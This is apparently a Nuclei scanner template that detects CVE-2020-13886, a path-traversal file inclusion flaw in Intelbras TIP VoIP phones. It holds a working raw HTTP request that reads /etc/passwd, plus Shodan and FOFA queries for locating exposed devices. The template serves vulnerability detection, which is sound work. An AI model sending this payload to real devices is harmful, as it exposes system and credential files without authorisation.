Intelbras TIP 200/200 LITE/300 - Local File Inclusion

id: CVE-2020-13886

info:
  name: Intelbras TIP 200/200 LITE/300 - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: |
    Intelbras TIP 200 60.61.75.15, TIP 200 LITE 60.61.75.15, and TIP 300 65.61.75.22 are vulnerable to local file inclusion via the 'page' parameter in /cgi-bin/cgiServer.exx, allowing unauthenticated attackers to read arbitrary files such as /etc/passwd.
  impact: |
    Unauthenticated attackers can read arbitrary files including sensitive configuration files and credentials, potentially leading to complete device compromise.
  remediation: |
    Update the device firmware to the latest version provided by Intelbras.
  reference:
    - https://lucxs.medium.com/cve-2020-13886-lfi-voip-intelbras-d30f27a39b22
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13886
  classification:
    cve-id: CVE-2020-13886
    cwe-id: CWE-22
    epss-score: 0.05198
    epss-percentile: 0.91489
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
  metadata:
    verified: true
    max-request: 1
    vendor: intelbras
    shodan-query: html:"/cgi-bin/cgiServer.exx"
    fofa-query: body="/cgi-bin/cgiServer.exx"
  tags: cve,cve2020,intelbras,tip200,tip300,lfi,vuln

http:
  - raw:
      - |
        GET /cgi-bin/cgiServer.exx?page=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and
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